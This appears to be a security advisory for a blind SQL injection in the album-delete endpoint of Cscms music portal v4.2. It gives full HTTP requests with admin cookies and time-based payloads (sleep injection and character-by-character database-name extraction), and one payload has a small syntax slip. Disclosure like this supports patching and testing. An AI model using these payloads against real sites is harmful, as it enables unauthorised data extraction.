SQL injection vulnerability exists in Cscms music portal system v4.2(dance_Topic.php_del)

[Am1azi3ng]

There is a SQL blind injection vulnerability in dance_Topic.php_del

Details

After the administrator is logged in, you need to add a song album

POST /admin.php/dance/admin/topic/save HTTP/1.1
Host: cscms.test
Content-Length: 240
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/topic/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=gksbvndtoeofhn69rntmjp01p1n8hqj9
Connection: close

cid=0&tid=0&yid=0&color=&addtime=ok&name=1&pic=&tags=&fxgs=&yuyan=%E5%9B%BD%E8%AF%AD&diqu=%E5%A4%A7%E9%99%86&year=2022&user=&singer=&skins=topic-show.html&hits=0&yhits=0&zhits=0&rhits=0&shits=0&neir=&file=&title=&keywords=&description=&id=0

When deleting a song album, malicious statements can be constructed to achieve sql injection

POST /admin.php/dance/admin/topic/del HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/topic?v=800
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=gksbvndtoeofhn69rntmjp01p1n8hqj9
Connection: close

id=3)and(sleep(5))--+

The payload executes and sleeps for 5 seconds

contrust payload

POST /admin.php/dance/admin/topic/del HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/topic?v=800
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=gksbvndtoeofhn69rntmjp01p1n8hqj9
Connection: close

id=3)and(if(substr((select+database()),1,1)='c'sleep(5))--+

Because the first letter of the background database name is "c", it sleeps for 5 seconds

Vulnerability source code

Close "id" to achieve blind injection, so the vulnerability exists